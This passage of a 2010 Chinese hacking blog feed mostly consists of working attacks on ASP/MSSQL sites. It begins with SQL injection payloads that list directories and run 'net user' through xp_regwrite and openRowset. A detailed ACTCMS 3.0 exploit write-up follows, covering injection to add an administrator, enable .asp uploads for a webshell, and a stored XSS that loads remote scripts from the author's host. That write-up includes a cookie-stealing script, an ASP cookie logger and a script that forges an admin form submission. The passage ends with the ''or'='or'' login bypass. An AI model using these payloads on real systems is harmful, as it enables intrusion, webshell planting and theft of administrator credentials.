[file] desc,[subdirectory] desc) &#39;//暴出第一个文件夹名称<br/>(4) and 1=(sel&#101;ct top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(Sel&#101;ct Top 2 [subdirectory],[file] From [jm_tmp] o&#114;DER BY [file],[subdirectory]) T o&#114;DER BY [file] desc,[subdirectory] desc) &#39;//暴出第二个文件夹名称<br/>(5) and 1=(sel&#101;ct top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(Sel&#101;ct Top X [subdirectory],[file] From [jm_tmp] o&#114;DER BY [file],[subdirectory]) T o&#114;DER BY [file] desc,[subdirectory] desc) &#39;//暴出第X个文件夹或文件名称<br/>(6);dro&#112; table [jm_tmp]--删除此表<br/>97、暴指定记录的字段：<br/>暴第一条记录字段<br/>and (sel&#101;ct top 1 列名 from 表名)&gt;0<br/>暴指字记录字段(第二条记录）<br/>and (sel&#101;ct 列名 from (sel&#101;ct top 1 * from (sel&#101;ct top 2 * from 表名 o&#114;der by 1) T o&#114;der by 1 desc)S)&gt;0<br/>and (sel&#101;ct 列名 from (sel&#101;ct top 1 * from (sel&#101;ct top x * from 表名 o&#114;der by 1) T o&#114;der by 1 desc)S)&gt;0 注：X为指定的第X条记录<br/>98、sa Injection中利用Access执行命令<br/>(1);exec master..xp_regwrite &#39;HKEY_LOCAL_MACHINE&#39;,&#39;Software\Microsoft\Jet\4.0\Engine\SandBoxMode&#39;,REG_DWORD,0--<br/>(2);sel&#101;ct * from openRowset(&#39;Microsoft.Jet.OLEDB.4.0&#39;,&#39;;Database=c:\winnt\system32\ias\ias.mdb&#39;,&#39;sel&#101;ct shell(&#34;net user kev 1986 /add&#34;)&#39;);--<br/>注：还可以用工具soshell.exe]]></description>
		</item>
		
			<item>
			<link>http://www.enjoyhack.com/article/Unicode/ACTCMS.htm</link>
			<title><![CDATA[记对ACTCMS系统漏洞挖掘之旅]]></title>
			<author>haifanlovely@163.com(enjoyhack)</author>
			<category><![CDATA[漏洞利用]]></category>
			<pubDate>Sun,17 Oct 2010 01:45:15 +0800</pubDate>
			<guid>http://www.enjoyhack.com/default.asp?id=68</guid>
		<description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;前两天在群闲聊的时候听群友有说遇到了个ACTCMS的系统，大家并在对ACTCMS多扯了几句，当时闲着无事便在网上搜索了下ACTCMS的漏洞信息。搜索结果针对之前版本的到是爆有注入漏洞，但对最新的3.0版貌似没有，于是就顺便去官网down了一个3.0的版本下来，抱着学习的目的对系统开始了漏洞的挖掘。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;拿到程序本地搭建好后第一件事就是上后台寻找拿shell的办法，然后再看前台的注入。系统后台登陆验证的地方做的还不错，借鉴动易的方式加了个认证码，而且其认证码和认证码的开关都是直接写在配置文件当中的。这个估计是在之前版本爆了注入和后台cookie欺骗登陆漏洞和作者才加上的。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;不过在后台管理系统中存在一些的弱点，主要针对取得webshell的方法，简略看了下后台系统的功能，发现取得webshell不是什么难事儿，而且方法还不止一种，我就随便测试了最简单的一种方法，在系统配置当中加上asp的上传类型，然后直接上传webshell。对于上传类型的设置整个系统当中有两处，一是网站基本设置当中的上传文件类型，这个主要是后台添加文章时候上传用的，另外一个则是用户组权限设置中的文件上传类型，这个是用于前台用户发表文章时候上传图片用的。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;找到后台拿shell的办法后接下来就是看前台程序的注入了，因为针对ASP网站系统漏洞的挖掘首先还是要考虑注入。不过程序作者在变量顾虑还是非常严谨的，读了好长时间的代码我都没找出未过滤的变量，眼看前台动态的程序页都快让我给读完了，不过，就在快要接近尾声的时候让我在某处找到了一个没有过滤的变量，并且直接代入到SQL语句中，我们来看看代码！<br/><br/>sub DelFriend()<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;Dim TG_ID:<span style="color:Red">TG_ID =Request(&#34;ID&#34;)</span> &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;IF TG_ID = &#34;&#34; Then<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;response.Write &#34;请先选定好友&#34;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;response.End<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;End IF&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;<br/> &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; TG_ID = Split(TG_ID,&#34;,&#34;)<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; For I = LBound(TG_ID) To UBound(TG_ID)<br/> &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color:Red">Conn.execute(&#34;Del&#101;te from&nbsp;&nbsp;Friend_ACT&nbsp;&nbsp; wh&#101;re U=&#34;&amp; UserHS.UserID &amp;&#34;&nbsp;&nbsp; and&nbsp;&nbsp;ID = &#34;&amp;TG_ID(i)&amp;&#34;&#34;)</span> &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; Next<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;set conn=nothing<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;response.Redirect(&#34;?&#34;)<br/> end sub<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;这个函数是在/user/Friend.asp文件中，函数是用于删除好友的，系统有用户互动的功能，会员与会员之间可以互相添加为好友，也可以删除好友。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;从以上代码中可以看出，TG_ID变量值直接使用request获取，并且未做任何过滤就带入到SQL语句中了，这样漏洞变产生了。现在很多有经验的程序员大多数也往往会在删除记录的时候出现类似的问题。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;针对这个漏洞的利用有一定局限性，可能对注入漏洞原理比较清楚的朋友可能会发现，对于ACCESS的数据库来说这个漏洞根本就没什么利用的，因为在漏洞产生的SQL语句中，并不是向数据库查询记录，而是删，页面中也不会输出任何SQL语句得到的内容。并且不管SQL语句是否正确，最终执行后的页面都是重定向到Friend.asp?，也就是说返回的页面都是一样的，这样我们也就不能根据页面情况来判断SQL语句的执行结果。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;不过，若网站是使用MSSQL数据库的话，那这个漏洞就大有用处了，大家都知道在注入中MSSQL能构造的语句比ACCESS的腰强大得多，所以针对这个注入点来说应该是ACTCMS 3.0 SQL版的0day，下面我就以SQL版为例，具体说下利用方式。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;对于SQL版的来说，很多朋友第一个想到的应该就是直接向数据库中添加个管理员账号或者更改管理员密码，不过网站后台系统登录的时候需要个认证码的，而认证码是无法从注入点得到的。所以说就算是有了后台管理账号密码，登录后台的几率也需要看人品。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;向数据库中加管理账号密码也是可以的，不过这里需要注意下，加管理的SQL语句有点特别，因为在代码中对ID值的获取后有一段处理代码：TG_ID = Split(TG_ID,&#34;,&#34;)，他的作用就是将获取到的值以逗号分隔成多个值，然后使用循环一个一个的删除数据库中的相应记录。例如在用户想批量删除他好友的时候，传送过来的只就是1,2,3,4,5,6，然后程序就分别去删除ID为1、2、3、4、5、6的记录，而不是去删除ID等于1,2,3,4,5,6的记录，所这里我们要向数据库中插入记录需要使用一下语句：Friend.asp?A=Del&amp;ID=1;ins&#101;rt into Admin_Act (Admin_Name) values (&#39;enjoyhack&#39;);up&#100;ate Admin_Act set PassWord=&#39;225cdc811adfe8d4&#39; wh&#101;re Admin_Name=&#39;enjoyhack&#39;;up&#100;ate Admin_Act set SuperTF=1 wh&#101;re Admin_Name=&#39;enjoyhack&#39;，插入管理后在后台登陆会报错，不过验证是通过了的，直接访问admin/f.asp页面即可。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;上面说到的是利用注入点加管理账号的方法，但由于管理后台登陆的时候需要提供认证码，而且认证码是直接写在配置文件当中的，我们光利用注入点是无法得到，所以加管理员的方法并不是很实用，这里给大家提供一个更为合适的办法，就是利用注入点更新用户组权限配置数据，添加一个asp文件的上传类型，然后前台用户发布文章直接上传webshell。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;但在更新用户组权限配置的时候需要注意一点，用户组权限当中所有的项目在数据库当中是存放在Group_Act的GroupSetting字段当中，每个项目之间使用^@$@^符号隔开，所以这里我们也不能使用常规的更新方式，例如;up&#100;ate Group set GroupSettiong=&#39;xxxxx&#39; wh&#101;re id=3这样的方式是不行的，这样一来不仅不能跟新上传类型，而且还使得整个用户组的权限全部混乱了，这里我们需要先将他原来的全部配置做个备份，然后我们再将配置更新成系统初始值加一个asp上传类型，见一下语句：<br/><br/>Friend.asp?A=Del&amp;ID=1;ins&#101;rt into Log_Act (GetHttp) sel&#101;ct GroupSetting from Group_Act wh&#101;re GroupID=3&nbsp;&nbsp;&#39;备份用户组名为注册用户的设置到后他管理登陆日志当中，这样后台管理登陆日志就多了一条记录。<br/><br/>Friend.asp?A=Del&amp;ID=1;up&#100;ate Group_Act set GroupSetting=&#39;0^@$@^注册会员^@$@^0^@$@^0^@$@^100^@$@^1000^@$@^100^@$@^1^@$@^Article/^@$@^1024^@$@^jpg/gif/bmp/png/asp^@$@^1^@$@^1^@$@^Simple^@$@^10^@$@^0^@$@^&#39; wh&#101;re GroupID=3&nbsp;&nbsp;&#39;更新用户组名为注册用户的设置为系统初始值，并在上传类型中加了个asp文件类型<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;这样就可以在发表文章的地方直接上传webshell了，是不是很简单啊！呵呵，看起来确实比较简单的，但是挖掘和构造语句的过程是枯燥的……在拿到webshell后记得到到/Admin/CheckCode.asp文件中找认证码或关闭认证码后到后台日志查看中找到备份的用户组配置信息，然后使用一下语句还原，要不是就给别人留后门了。<br/><br/>Friend.asp?A=Del&amp;ID=1;up&#100;ate Group_Act set GroupSetting=&#39;后台日志管理，找到某条特操作者项或动作项为空的记录，点查看得到的备份值&#39; wh&#101;re GroupID=3<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;在整个系统当中默认的文章分类是允许注册用户发表投稿文章的，投稿后需要管理员审核才能发布，但在允许投稿用户组的地方默认是0，若是遇到不能发布文章的话就需要更新下某个分类的值，让其允许注册用户发布投稿，默认的注册用户组id值是3，具体语句：;up&#100;ate Class_Act set tg=1 wh&#101;re ClassID=&#39;4496645087&#39;;up&#100;ate Class_Act set TGGroupID=3 wh&#101;re ClassID=&#39;4496645087&#39;，4496645087是分类ID号，这个可以在前台查看，鼠标放到某个分类上，右键-属性就可以看到。其实通过这个注入点还可以做其他的事情，包括修改文件上传目录、用户权限等等，这些大家可以下套程序，更具数据库结构自由的发挥。<br/><br/>=================================华丽的分割线=================================<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;对于SQL版的0day就说到这里，但对ACTCMS 3.0的漏洞挖掘还未结束，接下来是将ACCESS版和SQL版都存在的一个漏洞，这个漏洞也是我之前所有文章中都未提及的，并且对于这个漏洞我也是略有所闻，但未实践过，这个便是系统中多处出现的XSS跨站漏洞，对于XSS跨站漏洞其他的知识大家可以去网上搜索下，我这里只针对ACTCMS的跨站做讲解，首先还是从代码开始，先看会员发布文章处：<br/><br/>&lt;%<br/>&#160;&#160;&#160;&#160;sub Saveadd()<br/>&#160;&#160;&#160;&#160;dim TGGroupID,NewsID,Save_SQL<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; ClassID=ACTCMS.G(&#34;ClassID&#34;)<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color:Red">Title=Trim(ACTCMS.S(&#34;Title&#34;))</span> <br/> &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; Keywords=Trim(ACTCMS.S(&#34;Keywords&#34;))<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; CopyFrom=Trim(ACTCMS.S(&#34;CopyFrom&#34;))<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; author=Trim(ACTCMS.S(&#34;author&#34;))<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; Content=ACTCMS.G(&#34;Content&#34;)<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; PicUrl=ACTCMS.S(&#34;PicUrl&#34;)<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; isAccept=ACTCMS.S(&#34;isAccept&#34;)<br/><br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;………………………………中间省略若干内容<br/><br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;Set Save_SQL = server.Cr&#101;ateObject(&#34;adodb.recordset&#34;)<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;Save_SQL.Open &#34;Sel&#101;ct * from &#34;&amp;ACTCMS.ACT_C(ModeID,2)&amp;&#34; wh&#101;re 1=0&#34;,Conn,1,3<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;Save_SQL.AddNew<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;Save_SQL(&#34;ClassID&#34;) = ClassID<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;<span style="color:Red">Save_SQL(&#34;Title&#34;) = Title</span> &#39;简短标题<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;Save_SQL(&#34;isAccept&#34;) = isAccept<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;Save_SQL(&#34;TemplateUrl&#34;) = ACTCMS.ACT_L(ClassID,5)<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;Save_SQL(&#34;Content&#34;) = Content&#39;内容<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;Save_SQL(&#34;CopyFrom&#34;) = CopyFrom&#39;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;Save_SQL(&#34;Keywords&#34;) = Keywords&#39;关键字<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;Save_SQL(&#34;Up&#100;ateTime&#34;)=now<br/><br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;………………………………中间省略若干内容<br/><br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;Save_SQL.up&#100;ate<br/>%&gt;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;从以上代码中可以看到，包括文章标题在内的其他很多项目的内容都未经过过滤就更新到数据库当中去了，这个便是典型的XSS跨站漏洞了。以上代码中的ACTCMS.G函数其实只想当与request功能，并未做任何特殊字符的过滤。这里标题未经过任何的过滤我们就可以在标题中插入恶意JavaScript了，这里最好是选择标题这里插入，因为对于XSS跨站的利用，我们最起码的是要偷取管理员的cookie，ACTCMS 3.0系统中管理登陆后，账号和密码是会放到cookie中的，所以我们首先考虑到的是偷取管理的cookie。要偷取cookie就需要让管理在登录后台系统的情况下，然后在管理员的IE上执行我们的JavaScript代码。这里选择在标题中插入JavaScript代码的目的就在于注册用户在发布了文章之后默认是没有审核的，需要管理在后台系统中审核才能发布，这样只要管理在后台查看未审核的文章，那么他就会中招了。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;这里我们随便用注册账号发布一篇文章，在标题中插入&lt;script&gt;alert(document.cookie)&lt;/script&gt;，然后用管理身份去后台查看未审核的文章，只要页面中列出了刚才发布的文章标题即可获得管理的cookie了，如下图：<br/><br/><div align="center"><img src="http://www.enjoyhack.com/attachments/month_1010/j2010101702941.jpg" border="0" alt=""/></div><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;可以看到管理的账号密码都已经得到了，这个只是个测试，我们若需要真正的偷取改怎么办呢？这里我们首先在发布文章的时候在标题处插入一个调用远程js文件的代码：&lt;script src=&#34;<a href="http://www.enjoyhack/xss/xss.js" target="_blank" rel="external">http://www.enjoyhack/xss/xss.js</a>&#34;&gt;&lt;/script&gt;，然后我们在xss.js中就可以针对我们想要的结果写相应的JavaScript程序了。最简单的例子，在xss.js中我们将管理的cookie值再次发送到<a href="http://www.enjoyhack/xss/cookies.asp" target="_blank" rel="external">http://www.enjoyhack/xss/cookies.asp</a>，然后由cookies.asp文件接收cookie信息，然后将它保存起来，我们先在xss.js中这样写：<br/>&lt;!--<br/>cookie=&#34;<a href="http://localhost/xss/cookie.asp?url=" target="_blank" rel="external">http://localhost/xss/cookie.asp?url=</a>&#34;+location.href+&#34;&amp;cookies=&#34;+document.cookie+&#34;&#39;&#34;;<br/>document.write (&#34;&lt;script src=&#39;&#34;+cookie+&#34;&#39;&gt;&lt;/script&gt;&#34;)<br/>//--&gt;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;然后我们写我们的cookies.asp文件，让他接收传送过来的cookie和网站地址，并使用fso组件将内容写入到一个txt文件中，代码如下：<br/><br/>&lt;%<br/><br/>url=request(&#34;url&#34;)<br/>cookie=request(&#34;cookies&#34;)<br/><br/>&#160;&#160;&#160;&#160;set fso=server.Cr&#101;ateObject(&#34;Scripting.FileSystemObject&#34;)<br/>&#160;&#160;&#160;&#160;set txtfso=fso.OpenTextFile(server.mappath(&#34;enjoyhack.txt&#34;),8,True)<br/>&#160;&#160;&#160;&#160;txtfso.WriteLine(&#34;url:&#34;&amp;url)<br/>&#160;&#160;&#160;&#160;txtfso.WriteLine(&#34;cookie:&#34;&amp;cookie)<br/>&#160;&#160;&#160;&#160;txtfso.WriteLine(&#34;time:&#34;&amp;now())<br/>&#160;&#160;&#160;&#160;txtfso.WriteLine(&#34;-------------------------------------------------------------------&#34;)<br/>&#160;&#160;&#160;&#160;txtfso.close<br/>&#160;&#160;&#160;&#160;response.end<br/><br/>%&gt;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;这样在和cookie.asp文件同目录下就会产生一个enjoyhack.txt的文件，里面记录的就是管理员的cookie了！<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;但是由于ACTCMS后台登陆需要认证码才能登陆，我们偷取cookie也不能得到认证码，所以我后来自己又想了个办法，虽然是可以成功但是还是不是很完美，最终有一个地方未突破。这里我也将就说下这个思路。就是使用JavaScript程序，利用管理的身份，在后台中自动提交修改用户组权限的表单页，在提交前再在上传类型上加一个asp的上传类型。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;我在发表文章的时候，标题的后面写入了调用两个远程js的代码，&lt;script src=&#39;<a href="http://www.enjoyhack.com/xs.js" target="_blank" rel="external">http://www.enjoyhack.com/xs.js</a>&#39;&gt;&lt;/script&gt;&lt;script src=&#39;<a href="http://www.enjoyhack.com/xss.js" target="_blank" rel="external">http://www.enjoyhack.com/xss.js</a>&#39;&gt;&lt;/script&gt;，其中xs.js文件的目的是在页面中输入一个iframe框架，用来调用修改用户组的表单页面（/admin/User/Group_Admin.asp?Action=Edit&amp;GroupID=3），代码如下：&lt;!--<br/>document.write(&#34;&lt;iframe name=&#39;frame&#39; src=&#39;/admin/User/Group_Admin.asp?Action=Edit&amp;GroupID=3&#39;&gt;&lt;/iframe&gt;&#34;);<br/>//--&gt;，在调用中我暂时让框架显示出来，以便测试，这样调用了过后在后台管理员查看投稿的文章的时候，就会包含用户组权限修改的表单页了，如下图：<br/><br/><div align="center"><img src="http://www.enjoyhack.com/attachments/month_1010/x201010171536.jpg" border="0" alt=""/></div><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;在输入iframe框架包含了表单页面后，接着就需要使用xss.js的代码，让他修改iframe里面的表单页面中的某项，然后再做一个提交的动作，代码如下：<br/><br/>&lt;!--<br/>var par = window.top ;<br/>par.frame.document.form1.GroupSetting11.value=&#34;jpg/gif/bmp/png/asp&#34;;<br/>par.frame.document.form1.submit();<br/>//--&gt;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;最先测试我是先将发布文章时候标题哪里插入的代码“&lt;script src=&#39;<a href="http://www.enjoyhack.com/xs.js" target="_blank" rel="external">http://www.enjoyhack.com/xs.js</a>&#39;&gt;&lt;/script&gt;&lt;script src=&#39;<a href="http://www.enjoyhack.com/xss.js" target="_blank" rel="external">http://www.enjoyhack.com/xss.js</a>&#39;&gt;&lt;/script&gt;”放到一个单独的文件当中去测试的。这样测试发现始终不成功，然后一点一点的分析发现表单页面中自定义了css样式文件路径&lt;link href=&#34;../Images/style.css&#34; rel=&#34;stylesheet&#34; type=&#34;text/css&#34;&gt;代码就不行，去掉这个代码就可以，然后我又把xss.js的内容修改成如下：<br/><br/>&lt;!--<br/>var par = window.top ;<br/>var v=par.frames[&#39;frame&#39;].document.getElementsByTagName(&#39;link&#39;); <br/>alert(v[0].href);<br/>par.frame.document.form1.GroupSetting11.value=&#34;jpg/gif/bmp/png/asp&#34;;<br/>par.frame.document.form1.submit();<br/>//--&gt;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;这样在单独的文件中测试发现就可以正常提交表单了，但是执行的时候要弹出一个对话框，内容是css文件的路径。然后我接着把跨站代码“&lt;script src=&#39;<a href="http://www.enjoyhack.com/xs.js" target="_blank" rel="external">http://www.enjoyhack.com/xs.js</a>&#39;&gt;&lt;/script&gt;&lt;script src=&#39;<a href="http://www.enjoyhack.com/xss.js" target="_blank" rel="external">http://www.enjoyhack.com/xss.js</a>&#39;&gt;&lt;/script&gt;”插入到文章的标题，去后台查看未审核的文章，发现只能执行iframe调用表单页，并不能执行提交表单的动作。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;后来无意直接访问后台列出文章页面<a href="http://localhost/admin/ACT_Mode/ACT.Manage.asp?Action=ListisAccept" target="_blank" rel="external">http://localhost/admin/ACT_Mode/ACT.Manage.asp?Action=ListisAccept</a>，发现又能正常提交表单了。后来继续测试，把alert(v[0].href);把这个弹出窗口的语句注释掉后，直接访问<a href="http://localhost/admin/ACT_Mode/ACT.Manage.asp?Action=ListisAccept" target="_blank" rel="external">http://localhost/admin/ACT_Mode/ACT.Manage.asp?Action=ListisAccept</a>依然能提交成功，但是我单独的那个页面却又不能提交了！但是现在在<a href="http://localhost/admin/ACT_Mode/ACT.Manage.asp?Action=ListisAccept" target="_blank" rel="external">http://localhost/admin/ACT_Mode/ACT.Manage.asp?Action=ListisAccept</a>这个页面中能提交表单已经很不错了，因为最终的目标就是要管理在查看这个页面的时候自动提交，测试的那个页面不成功到没什么关系。但是现在经过我的测试发现后台文章列表的那个页面必须要在单独的窗口中打开才能执行提交，若在管理在后台，常规的打开查看就只能iframe包含表单页，不执行提交表单的动作，这个我现在认为的是可能后台正常操作打开文章列表页的时候文章页同时在一个iframe框架之下，而页面中又引用了框架的原因才不行。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;在后台若是管理员查看文章列表的时候，点击文章标题查预览文章内容的话这样同样也是可以执行表单提交的，因为打开查看文章内容是在一个新窗口中打开的。到这里我一直没有找到解决的办法，这个问题也留给大家有懂JavaScript的朋友们了，要是谁能搞定了别忘记留言和我联系下。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 好了，对ACTCMS 3.0 系统的漏洞挖掘就到这里了，文章中注入的地方有一些小小的技巧，同时我也写第一篇有关XSS漏洞利用的文章，虽然最后的结果并不是很完美，但也是自己学习和研究的成果，留下来的问题希望各有能力的朋友们下来研究下，我觉得xss跨站漏洞利用管理员后台身份去做其他的事情是个很不错的利用思路。ACTCMS 3.0其他地方也有不少的XSS跨站漏洞，包括后台发布文章都是一样的存在，对XSS有兴趣的朋友可以自己down一套研究研究。]]></description>
		</item>
		
			<item>
			<link>http://www.enjoyhack.com/article/Unicode/unionadmin.htm</link>
			<title><![CDATA[SQL另类注入之绕过后台登陆验证]]></title>
			<author>haifanlovely@163.com(enjoyhack)</author>
			<category><![CDATA[漏洞利用]]></category>
			<pubDate>Tue,12 Oct 2010 20:22:34 +0800</pubDate>
			<guid>http://www.enjoyhack.com/default.asp?id=67</guid>
		<description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;好长时间都没更新Blog了，这段时间在学习Linux的基础应用，玩腻了脚本注入后总觉得黑客方面老是停留在整天玩注入漏洞，或者其他的脚本漏洞技术也没法得到提高。所以静下心来给自己安排了个学习计划，先从Linux学起，完了再学习编程以及业余时间深入研究下脚本及数据库。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;最近在学习之余还是不忘和各位群友闲谈扯蛋，也从他们身上学到了不少经验和技巧，前不久就从自然哪里学到一个另类的SQL注入技巧。当时是自然给出的一个例子，直接用一个语句绕过后台登陆验证进入到了后台。当时看了觉得挺不错，所以下来就深入的研究了下其原理，对其也有一定的了解。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;好了，废话不多说，下面直接进入正题吧。一提到绕过后台登陆验证直接进入网站后台管理系统，想必大家都能想到经典的万能密码：&#39;or&#39;=&#39;or&#39;吧，今天要给大家分享的一个技巧也和这个差不多，不过是这个方法比较另类。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;在讲该技巧之前我们还是先来简单回顾下经典的&#39;or&#39;=&#39;or&#39;原理，更详细的原理大家可以网上搜索相关资料了解下。我们都知道后台登陆验证一般的方式都是将用户在登录口输入的账号密码拿去与数据库中的记录做验证，并且要求输入的账号密码要等于数据库中某条记录的账号密码，验证通过则程序就会给用户一个sssion，然后进入后台，否则就返回到登陆口。而对于&#39;or&#39;=&#39;or&#39;漏洞，我们先来看以下代码：<br/><br/>&lt;%<br/>pwd = request.form(&#34;pwd&#34;)&nbsp;&nbsp;获取用户输入的密码,再把值赋给pwd<br/>name = request.form(&#34;name&#34;)&nbsp;&nbsp;获取用户输入的用户名再把值赋给name<br/>都没有进行任何过滤<br/>Set rs = Server.Cr&#101;ateObject(&#34;ADODB.Connection&#34;) <br/>sql = &#34;sel&#101;ct * from Manage_User wh&#101;re UserName=&#39;&#34; &amp; name &amp; &#34;&#39; And PassWord=&#39;&#34;&amp;encrypt(pwd)&amp;&#34;&#39;&#34;&nbsp;&nbsp;将用户名和密码放入查询语句中查询数据库，<br/>Set rs = conn.Execute(sql) 执行SQL语句，执行后并得到rs对象结果，“真”或“假”<br/><span style="color:Red">If Not rs.EOF = True Then&nbsp;&nbsp;如果是真则执行以下代码</span><br/>Session(&#34;Name&#34;) =&nbsp;&nbsp;rs(&#34;UserName&#34;)&nbsp;&nbsp;将UserName的属性赋给Name的Session自定义变量<br/>Session(&#34;pwd&#34;) =&nbsp;&nbsp;rs(&#34;PassWord&#34;)&nbsp;&nbsp;将PassWord的属性赋给pwd的Session自定义变量<br/>Response.Redirect(&#34;Manage.asp&#34;)了&nbsp;&nbsp;利用Response对象的Redirect方法重定向Manage.asp<br/><span style="color:Red">Else 否则执行以下代码</span><br/>Response.Redirect &#34;Loginsb.asp?msg=您输入了错误的帐号或口令，请再次输入！&#34;<br/>End If<br/>%&gt;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;以上就是一个典型的&#39;or&#39;=&#39;or&#39;漏洞例子，针对以上例子我们只需要在用户名处提交&#39;or&#39;=&#39;or&#39;，这样就使得SQL语句变成：sel&#101;ct * from Manage_User wh&#101;re UserName=&#39;’or‘=&#39;or&#39;&#39; And PassWord=&#39;123456&#39;。执行后得到rs对象的结果为真，这样就能顺利的进入后台了。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;为了避免出现这个漏洞，现在基本上的后台验证都不会使用这类方式，而是取得用户输入的账号和密码，在SQL中先将用户名与数据库中的记录做对比，若数据库中某条记录的用户名等于用户输入的用户名，则取出该条记录中的密码，然后再与用户输入的密码对比，正确就通过，不正确就返回。例如一下代码：<br/><br/>&lt;%<br/>pwd = request.form(&#34;pwd&#34;)&nbsp;&nbsp;获取用户输入的密码,再把值赋给pwd<br/>name = request.form(&#34;name&#34;)&nbsp;&nbsp;获取用户输入的用户名再把值赋给name<br/>都没有进行任何过滤<br/>Set rs = Server.Cr&#101;ateObject(&#34;ADODB.Connection&#34;) <br/>sql = &#34;sel&#101;ct * from Manage_User wh&#101;re UserName=&#39;&#34; &amp; name &amp; &#34;&#39;&#34;&nbsp;&nbsp;将用户名和密码放入查询语句中查询数据库，<br/>Set rs = conn.Execute(sql) 执行SQL语句，执行后并得到rs对象结果，“真”或“假”<br/><span style="color:Red">If Not rs.EOF = True Then&nbsp;&nbsp;如果是真则执行以下代码</span><br/>password=rs(&#34;password&#34;) 取得密码数据<br/>if password=md5(pwd) then<br/>Session(&#34;Name&#34;) =&nbsp;&nbsp;rs(&#34;UserName&#34;)&nbsp;&nbsp;将UserName的属性赋给Name的Session自定义变量<br/>Session(&#34;pwd&#34;) 